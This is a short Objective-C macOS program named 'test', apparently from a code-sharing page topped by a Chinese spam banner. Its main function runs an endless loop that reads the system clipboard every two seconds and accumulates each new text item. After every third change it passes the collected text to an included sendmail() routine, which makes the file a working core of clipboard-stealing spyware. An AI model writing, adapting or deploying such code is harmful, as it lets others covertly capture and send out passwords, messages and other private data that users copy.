清华大佬耗费三个月吐血整理的几百G的资源,免费分享!....>>>
// // main.m // test // // Created by Developer on 3/11/15. // Copyright (c) 2015 Developer. All rights reserved. // #import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #import "sendmail.h" void pasteboradread(); void pasteboradread1(); int main(int argc, const char * argv[]) { @autoreleasepool { // insert code here... // NSString *a = @"dddddddd"; NSLog(@"Hello, World!\n"); pasteboradread1(); } return 0; } void pasteboradread1() { NSPasteboard *pasteboard = [NSPasteboard generalPasteboard]; NSString *plainText; //NSString *tempString = [NSString string]; NSString *tempString; NSString *saveString=@""; char * string; int count = 0; //NSFileManager *tempfile = [NSFileManager defaultManager]; //NSData *tempdata = [tempfile contentsAtPath:@"/tmp"]; while(1){ //是否能从剪切板提取 if ([pasteboard canReadItemWithDataConformingToTypes:@[NSPasteboardTypeRTF]]) { //从剪切板提取文字 plainText = [[pasteboard readObjectsForClasses:@[[NSString class]] options:nil]firstObject]; //[tempfile createFileAtPath:@"/tmp/work.txt" contents:<#(NSData *)#> attributes:<#(NSDictionary *)#>] //是否 if (![tempString isEqualTo:plainText]) { tempString = [NSString stringWithString:plainText]; saveString = [saveString stringByAppendingString:tempString]; NSLog(@"text:%@",tempString); count++; if (count == 3) { string = [saveString UTF8String]; printf("--------------------\n%s",string); sendmail(string); count = 0; } } sleep(2); } } }